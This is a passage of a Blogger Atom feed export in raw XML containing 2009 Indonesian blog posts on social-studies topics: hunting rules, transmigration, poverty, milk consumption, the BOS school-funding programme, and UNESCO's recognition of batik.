berikut                  ini :&lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  1. Para pemburu harus mempunyai lisensi (surat izin berburu).&lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  2. Senjata untuk berburu harus tertentu macamnya.&lt;br /&gt;          3. Membayar pajak dan mematuhi undang-undang perburuan. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;          &lt;span style="color: rgb(0, 0, 0);"&gt; 4. Harus menyerahkan sebagian tubuh &lt;/span&gt;&lt;/span&gt;                  &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  yang diburunya kepada petugas&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;sebagai                  tropy, misalnya tanduknya.&lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  5. Tidak boleh berburu hewan-hewan langka.&lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  6. Ada hewan yang boleh ditangkap hanya pada bulan-bulan tertentu           &lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;saja.                  Misalnya, ikan salmon pada musim berbiak &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  di sungai tidak boleh&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;ditangkap,                  atau&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  kura-kura pads musim akan bertelur. &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;           &lt;br /&gt;          7. Harus melakukan konvensi dengan baik. Konuensi ialah aturan-aturan           &lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;yang                  tidak &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  tertulis tetapi harus sudah diketahui oleh si pemburu&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;dengan                  sendirinya. Misalnya, &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  tidak boleh menembak hewan buruan&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;yang                  sedang bunting, dan tidak boleh &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  membiarkan hewan buas&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;buruannya                  lepas dalam keadaan terluka.&lt;br /&gt;   &lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Akan tetapi, seringkali peraturan-peraturan tersebut tidak ditaati                  bahkan ada yang diam-diam memburu satwa langka untuk dijadikan                  bahan komoditi yang berharga. Satwa yang sering diburu untuk diambil                  kulitnya antara lain macan, beruang, dan ular, sedangkan gajah                  diambil gadingnya.&lt;br /&gt;   &lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;" align="justify"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;3.                  &lt;/b&gt; &lt;span style="color: rgb(0, 0, 0);"&gt; &lt;b&gt;Sumber Daya Manusia&lt;br /&gt;          &lt;/b&gt; &lt;/span&gt;&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Manusia dibedakan dari sumber daya alam hayati lainnya karena                  manusia memiliki kebudayaan, akal, dan budi yang tidak dimiliki                  oleh tumbuhan maupun hewan. Meskipun paling tinggi derajatnya,                  namun dalam ekosistem, manusia juga berinteraksi dengan lingkungannya,                  mempengaruhi dan dipengaruhi lingkungannya sehingga termasuk dalam                  salah satu faktor saling ketergantungan. Berbeda dengan sumber                  daya hayati lainnya, penggunaan sumber daya manusia dibagi dua,                  yaitu sebagai berikut :&lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  &lt;b&gt;a. Manusia sebagai sumber daya fisik&lt;br /&gt;          &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;Dengan                  energi yang tersimpan dalam ototnya manusia dapat bekerja&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;dalam                  berbagai bidang, antara lain: bidang perindustrian,&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;transportasi,                  perkebunan, perikanan, perhutanan, dan peternakan.&lt;/span&gt;&lt;/p&gt;               &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;b.                  Manusia sebagai sumber daya mental&lt;/span&gt;&lt;/b&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;          &lt;/span&gt;&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;Kemampuan                  berpikir manusia merupakan suatu sumber daya alam&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;yang                  sangat penting, karena berfikir merupakan landasan utama bagi                  &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;img src="http://free.vlsm.org/v12/sponsor/Sponsor-Pendamping/Praweda/image/putih%203x3.gif" width="18" height="8" /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;kebudayaan.                  Manusia sebagai makhluk hidup berbudaya, mampu&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;mengolah                  sumber daya alam untuk kepentingan hidupnya dan mampu&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;mengubah                  keadaan sumber daya alam berkat kemajuan ilmu dan&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;teknologinya.                  Dengan akal dan budinya, manusia menggunakan&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;sumber                  daya alam dengan penuh kebijaksanaan. Oleh karena itu,&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;manusia                  tidak dilihat hanya sebagai sumber energi, tapi yang&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;terutama                  ialah sebagai sumber daya cipta (sumber daya mental) yang&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;sangat                  penting bagi perkembangan kebudayaan manusia.&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-2194576101729676806?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/2194576101729676806/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2009/11/sumber-daya-alam.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/2194576101729676806'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/2194576101729676806'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2009/11/sumber-daya-alam.html' title='Sumber Daya Alam'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-2611035102973921403</id><published>2009-11-19T22:19:00.001+07:00</published><updated>2009-12-19T00:56:18.994+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ilmu sosial'/><title type='text'>Transmigrasi</title><content type='html'>Definisi TRANSMIGRASI &lt;p style="font-family: times new roman;"&gt;Transmigrasi adalah perpindahan penduduk dari suatu wilayah yang padat penduduknya ke area wilayah pulau lain yang penduduknya masih sedikit atau belum ada penduduknya sama sekali. Orang yang melakukan kegiatan transmigrasi disebut &lt;em&gt;transmigran&lt;/em&gt;.&lt;/p&gt; &lt;p style="font-family: times new roman;"&gt;Transmigrasi di Indonesia biasanya diatur dan didanai oleh pemerintah kepada warga yang umumnya golongan menengah ke bawah. Sesampainya di tempat transmigrasi para transmigran akan diberikan sebidang tanah, rumah sederhana dan perangkat lain untuk penunjang hidup di lokasi tempat tinggal yang baru.&lt;/p&gt; &lt;p style="font-family: times new roman;"&gt;Program transmigrasi di Indonesia mulai dilaksankan pada masa pemerintahan Presiden Soeharto, sebagai salah satu program dalam usaha PELITA (Pembangunan Lima Tahun). Penduduk yang menjadi transmigran merupakan penduduk yang ada di pulau jawa dan mereka dipindahkan kepulau-pulau lain seperti Sumatra,Kalimantan,Sulawesi dam Irian karena dipulau jawa jumlah penduduk terkonsentasi di pulau jawa sehingga perlu dilakukan penyebara penduduk ke pulau-pulau tersebut.&lt;br /&gt;&lt;/p&gt;&lt;p style="font-family: times new roman;"&gt;TUJUAN DIADAKANNYA TRANSMIGRASI&lt;br /&gt;&lt;/p&gt;&lt;p style="font-family: times new roman;"&gt;1. Untuk meratakan persebaran penduduk di seluruh wilayah nusantara.&lt;/p&gt;   &lt;p style="font-family: times new roman;"&gt;Karena sebagin besar penduduk terfokus di suatu wilayah seperti kota besar atau pulau yang memiliki kesempatan kerja atau kesempatan hidup besar. Sehingga agar di kota atau pulau yang dianggap maju tersebut tidak terjadi kepadatan penduduk yang tinggi maka perlu di lakukan penyebaran penduduk dengan cara transmigrasi.&lt;br /&gt;&lt;/p&gt;&lt;p style="font-family: times new roman;"&gt;2. Untuk pertahanan dan keamanan / hankam lokal nasional. Karena pada umumnya di dearah yang memiliki tingkat kepadatan penduduk tinggi banyak terjadi tindak kriminalitas yang tinggi pula.&lt;br /&gt;&lt;/p&gt;&lt;p style="font-family: times new roman;"&gt;3. Untuk meningkatkan taraf hidup masyarakat dengan memberikan kesempatan merubah nasib. Karena pada umumnya orang-orang diberikan kesempatan transmigrasi merupakan kalangan menengah kebawah maka dengan adanya program  transmigrasi diharapkan dapat meningkatkan taraf hidup karena oleh pemerintah mereka diberikan fasilitas yang menunjang seperti rumah, lahan untuk digarap dan hasilnya dapat mereka nikmati, dan masih banyak lagi&lt;br /&gt;&lt;/p&gt;&lt;p style="font-family: times new roman;"&gt;JENIS/MACAM-MACAM TRANSMIGRASI&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style="font-family: times new roman;"&gt;&lt;strong&gt;1. &lt;/strong&gt;&lt;strong&gt;Transmigrasi Umum.&lt;/strong&gt;&lt;/p&gt;&lt;p style="font-family: times new roman;"&gt;Transmigrasi umum adalah program transmigrasi yang disponsori dan dibaiayai secara keseluruhan oleh pihak pemerintah melalui depnakertrans (departemen tenaga kerja dan transmigrasi).&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style="font-family: times new roman;"&gt;&lt;strong&gt;2. &lt;/strong&gt;&lt;strong&gt;Transmigrasi Spontan/Swakarsa.&lt;/strong&gt;&lt;/p&gt;  &lt;p style="font-family: times new roman;"&gt;Transmigrasi spontan/swakarsa adalah perpindahan penduduk dari daerah padat ke pulau baru sepi penduduk yang didorong oleh keinginan diri sendiri namun masih mendapatkan bimbingan serta fasilitas penunjang dari pemerintah.&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style="font-family: times new roman;"&gt;&lt;strong&gt;3. &lt;/strong&gt;&lt;strong&gt;Transmigrasi Bedol Desa.&lt;/strong&gt;&lt;/p&gt;  &lt;p style="font-family: times new roman;"&gt;Transmigrasi bedol desa adalah transmigrasi yang dilakukan secara masal dan kolektif terhadap satu atau beberapa desa beserta aparatur desanya pindah ke pulau yang jarang penduduk. Biasanya transmigrasi bedol desa terjadi karena bencana alam yang merusak desa tempat asalnya.&lt;/p&gt; &lt;p style="font-family: times new roman;"&gt;KEBAIKAN DAN KEBURUKAN TRANSMIGRASI&lt;/p&gt; &lt;p style="font-family: times new roman;"&gt;Keuntungan diadakannya transmigrasi adalah:&lt;/p&gt; &lt;ul style="font-family: times new roman;"&gt;&lt;li&gt;Terjadinya penyebaran penduduk.&lt;/li&gt;&lt;li&gt;Terciptanya lapangan pekerjaan.&lt;/li&gt;&lt;li&gt;Meningkatnya taraf hidup rakyat.&lt;/li&gt;&lt;li&gt;Terciptanya pengembangan kawasan baru.&lt;/li&gt;&lt;li&gt;Mengurangi angka kriminalitas&lt;/li&gt;&lt;/ul&gt; &lt;p style="font-family: times new roman;"&gt;Keburukan diadakannya transmigrasi adalah:&lt;/p&gt; &lt;ul style="font-family: times new roman;"&gt;&lt;li&gt;Daerah tempat transmigrasi umumnya sangat jauh dari kota (pedalaman).&lt;/li&gt;&lt;li&gt;Minimnya Fasilitas Umum.&lt;/li&gt;&lt;li&gt;Pemberian fasilitas tidak dilakukan secara berkesinambungan.&lt;/li&gt;&lt;li&gt;DLL.&lt;/li&gt;&lt;/ul&gt;  &lt;p style="font-family: times new roman;" align="center"&gt; &lt;/p&gt;&lt;p style="font-family: times new roman;"&gt;Jadi transmigrasi merupakan suatu alternatif yang dapat mengatasi masalah kepadatan kependudukan dan pemerataan pembangunan. Tapi hendaknya hal ini juga diimbangi dengan pemberian fasilitas yang layak dan memadai bagi penduduk yang melakukan transmigrasi agar mereka merasa nyaman dalam mengelola tempat dan lahan yang mereka miliki.&lt;/p&gt; &lt;p style="font-family: times new roman;"&gt;Fasilitas yang harus ada dan disediakan bagi para transmigran antara lain, sarana pendidikan, tempat perdagangan, fasilitas informasi, kebersihan, dan sarana penunjang lainnya. Sarana-sarana tersebut diharapkan dapat meningkatkan kenyamanan dan produktifitas para transmigran. Dan diharapkan dengan adanya transmigrasi akan membuat kepadatan penduduk berkurang.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-2611035102973921403?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/2611035102973921403/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2009/11/transmigrasi.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/2611035102973921403'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/2611035102973921403'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2009/11/transmigrasi.html' title='Transmigrasi'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-2835306628206745039</id><published>2009-11-19T21:21:00.000+07:00</published><updated>2009-12-19T00:54:20.590+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ilmu sosial'/><title type='text'>Kemiskinan</title><content type='html'>&lt;h2 style="color: rgb(0, 0, 0);font-family:times new roman;" &gt;&lt;span style="font-size:100%;"&gt;Kemiskinan di Indonesia Tidak Mungkin Dihapuskan&lt;/span&gt;&lt;/h2&gt;          &lt;!-- google_ad_section_start --&gt;&lt;p style="font-family: times new roman;"&gt;Kemiskinan memang hal yang tidak bisa dihindarkan dari sebuah negara. Berapa besarpun kemampuan ekonomi sebuah negara, insya Allah ada saja orang miskin. Contohnya saja Amerika Serikat dengan GDP terbesar di dunia, masih punya orang miskin. Apalagi Indonesia yang cuma 20 besar di dunia.&lt;/p&gt; &lt;p style="font-family: times new roman;"&gt;Menurut statistik jumlah penduduk miskin di Indonesia sejak tahun 2006 semakin menurun. Dengan adanya krisis ekonomi dunia, kemungkinan akan bertambah lagi. Tapi itu wajar, Ketika kemiskinan dihitung berdasarkan penghasilan. Yang terpenting bukan penghasilannya, tapi bisa atau tidaknya mendapatkan kebutuhan dasarnya.&lt;/p&gt; &lt;p style="font-family: times new roman;"&gt;Kebutuhan dasar manusia yaitu sandang, pangan, dan papan. Bukan berarti semua didapatkan dari hasil keringat sendiri. Contohnya adalah, orang miskin di Amerika bisa mendapatkan makanan dengan mengantri pembagian makan. Mereka tidak punya penghasilan untuk beli makanan, tetapi mereka masih bisa makan. Artinya yang terpenting bukanlah dapat penghasilan atau tidak, yang penting adalah bisa makan meskipun itu diberikan secara gratis.&lt;/p&gt; &lt;p style="font-family: times new roman;"&gt;Sandang dan papan pun bisa diberikan secara gratis, misalnya saja dipenampungan korban bencana alam yang biasanya dapat tenda dan pakaian sumbangan. Kita tidak berbicara tentang masalah kualitas. Namanya saja gratis, kualitas sesuai dengan yang bisa diberikan oleh pendonornya saja. Kalau ingin kualitas yang lebih, silahkan cari sendiri. Kerja, dapatkan penghasilan.&lt;/p&gt; &lt;p style="font-family: times new roman;"&gt;Selain ketiga hal di atas, mungkin kebutuhan penting lainnya adalah kesehatan dan pendidikan. Kesehatan adalah barang mahal. Lebih murah menjaga kesehatan daripada menyembuhkan sakit. Kesadaran ini perlu dikembangkan supaya orang lebih suka menjaga tubuh sehat daripada menyembuhkan penyakit.&lt;/p&gt; &lt;p style="font-family: times new roman;"&gt;Di negara maju, biasanya biaya kesehatan ditanggung bersama melalui asuransi kesehatan nasional. Di Indonesia juga bisa diterapkan hal seperti itu. Untuk pendidikan, tidak usah terlalu di pikirkan dengan pendidikan formal yang kesuksesannya ditentukan lewat sekali ujian. Jika perlu ikut saja program kejar paket A, B, C untuk mendapatkan ijasahnya. Pendidikan kemahiran hidup yang lebih utama.  Kemahiran disesuaikan dengan profesi yang dipilih. Misalnya kemahiran tukang bengkel tentu berbeda dengan petani. Dengan kemahiran tertentu, pekerjaan akan lebih efisien dengan hasil yang lebih optimal. Di negara maju, seorang petani bisa mengerjakan lahan yang berkali lipat lebih luas dibandingkan dengan di Indonesia.&lt;/p&gt; &lt;p style="font-family: times new roman;"&gt;Jadi, biarkan saja miskin yang penting bisa makan, punya tempat berteduh, berpakaian, belajar, dan sehat. Tetapi jangan terlalu mengandalkan pembantuan dari pemerintah, melainkan harus usaha juga.&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-2835306628206745039?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/2835306628206745039/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2009/11/kemiskinan.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/2835306628206745039'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/2835306628206745039'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2009/11/kemiskinan.html' title='Kemiskinan'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-2119937428949672399</id><published>2009-11-17T23:32:00.000+07:00</published><updated>2009-12-19T00:53:09.461+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ilmu sosial'/><title type='text'>Kesehatan</title><content type='html'>&lt;div style="color: rgb(0, 0, 0);" class="post-body entry-content"&gt;&lt;style&gt;.fullpost{display:none;}&lt;/style&gt; &lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;Kebiasaan Minum Susu Mempengaruhi Tinggi Badan&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Banyak sekali bangsa di dunia, terutama di Eropa, kebiasaan minum susu dilakukan setiap sarapan pagi. Kebiasaan minum susu dan kandungan gizi yang tinggi yang terdapat dalam susu, menyebabkan tinggi rata-rata orang Eropa melebihi tinggi orang Asia kebanyakan, apa lagi kita sebagai warga negara Indonesia yang mempunyai ukuran tubuh yang kecil.&lt;br /&gt;Sampai saat ini tingkat kesadaran masyarakat Indonesia untuk mengonsumsi susu masih rendah sekali. Data pada 2006 tercatat jumlah konsumsi susu masyarakat Indonesia hanya 7,7 liter per kapita/tahun atau lebih rendah ketimbang sejumlah negara di kawasan Asia Tenggara (Asean), berarti kita memang kurang terhadap susu yang memiliki kalsium didalamnya.&lt;br /&gt;Padahal susu sangat bermanfaat untuk mencegah osteoporosis, mengurangi risiko kanker, menurunkan risiko darah tinggi, serta menunda penuaan sekaligus dapat mengecilkan pori-pori di wajah.&lt;span class="selengkapnya"&gt;&lt;br /&gt;Untuk lebih mudahnya bentuk susu yang cair yang merupakan salah satu keunggulan susu dibandingkan dengan makanan bergizi lainnya, menjadikan vitamin dan mineral yang secara lengkap terdapat pada susu mudah diserap dengan sempurna oleh tubuh.&lt;br /&gt;Susu sebagai sumber vitamin berfungsi untuk memelihara bagian tertentu pada tubuh seperti epitel, mata, sistem kekebalan tubuh, dan kekuatan tulang.&lt;br /&gt;Memang di Indonesia tidaklah mudah untuk membeli susu karena harganya yang sangat mahal, hal ini balik lagi kepada ekonomi di Indonesia.&lt;br /&gt;Jadi selagi bisa kenapa tidak anda meminum susu .&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-2119937428949672399?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/2119937428949672399/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2009/11/kesehatan.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/2119937428949672399'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/2119937428949672399'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2009/11/kesehatan.html' title='Kesehatan'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-1949044929333025600</id><published>2009-11-17T23:18:00.000+07:00</published><updated>2009-12-19T00:52:00.809+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ilmu sosial'/><title type='text'>Pendidikan</title><content type='html'>&lt;span style="color: rgb(0, 0, 0);font-size:85%;" &gt;&lt;strong&gt;&lt;span style="font-family:Arial,Helvetica,sans-serif;"&gt;BOS - Knowledge Improvement through Transparency and Accountability (BOS-KITA)&lt;/span&gt;&lt;span style="font-family:Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-family:Arial,Helvetica,sans-serif;font-size:85%;"  &gt;Pasti para pembaca tahu Program BOS (Bantuan Operasional Sekolah) telah menyediakan sebuah dana untuk setiap siswa ke sekolah-sekolah di seluruh Indonesia sejak tahun 2005. BOS bagian dari upaya Pemerintah dalam menyediakan pendidikan berkualitas kepada semua siswa di seluruh tingkatan pendidikan .&lt;/span&gt;                                &lt;p style="color: rgb(0, 0, 0);"&gt;&lt;span style=";font-family:Arial,Helvetica,sans-serif;font-size:85%;"  &gt;Pada dasarnya Bank Dunia mendukung program BOS melalui program BOS KITA (Bantuan Operasional Sekolah - Perbaikan Pengetahuan untuk Transparansi dan Akuntabilitas), program yang bertujuan mempermudah akses ke pendidikan bermutu untuk semua anak usia 7 hingga 15 dengan memperkuat komite sekolah, meningkatkan partisipasi masyarakat, dan akuntabilitas yang lebih besar atas program BOS sehingga dana BOS saat ini dapat digunakan dengan lebih baik .&lt;br /&gt;&lt;br /&gt;Menurut berita Kedutaan Besar Kerajaan Belanda menyediakan dukungan tambahan sebesar $20 juta (sekitar 200 miliar Rupiah) yang bertujuan untuk membantu Departemen Pendidikan Nasional dalam memaksimalkan efektivitas Program BOS. Dana ini akan digunakan untuk memperkuat sejumlah kegiatan: pengawasan, evaluasi dan penanganan keluhan; kampanye informasi dan pemasaran sosial; sekaligus memperkuat tim BOS yang ada di tingkat sekolah serta upaya komite sekolah dan orang tua .&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-1949044929333025600?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/1949044929333025600/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2009/11/pendidikan.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/1949044929333025600'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/1949044929333025600'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2009/11/pendidikan.html' title='Pendidikan'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-1867540329780795573</id><published>2009-11-17T23:00:00.000+07:00</published><updated>2009-12-19T00:49:13.651+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ilmu sosial'/><title type='text'>Kebudayaan</title><content type='html'>&lt;span style="font-family:times new roman;"&gt;Pada akhirnya lembaga Perserikatan Bangsa-Bangsa (PBB) yang telah menangani masalah kebudayaan, UNESCO, telah setuju bahwa batik itu warisan budaya bukan benda yang dihasilkan oleh Indonesia, negara kita ini, hebat yah .&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Keberhasilan itu dilaporkan oleh Menko Kesejahteraan Rakyat Aburizal Bakrie kepada Bapak Presiden Susilo Bambang Yudhoyono di Istana Bogor , Jawa Barat.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Lalu peresmian batik dari UNESCO itu terjadi pada hari jumat tanggal 2 Oktober 2009 di Abu Dhabi, Uni Emirat Arab.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Untuk merayakan keberhasilan itu, Presiden SBY mengimbau kepada seluruh masyarakat Indonesia untuk mengenakan pakaian batik demi penghargaan terhadap kebudayaan Indonesia .&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Warisan budaya bukan benda tersebut merupakan satu dari tiga daftar yang dibuat di bawah Konvensi UNESCO 2003 tentang Perlindungan Warisan Budaya Tak Benda untuk Kemanusiaan.&lt;/span&gt;&lt;span style="font-family:times new roman;"&gt; Sebenarnya sejak 2008, pemerintah telah melakukan penelitian lapangan serta ahli batik di 19 provinsi di Indonesia untuk menominasikan batik sebagai warisan budaya bukan benda kemanusiaan dari UNESCO.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:times new roman;"&gt;Selanjutnya, marilah kita menjaga kebudayaan kita agar diakui oleh semua negara bahwa itu adalah kebudayaan asli Indonesia. Terima kasih.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-1867540329780795573?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/1867540329780795573/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2009/11/kebudayaan.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' 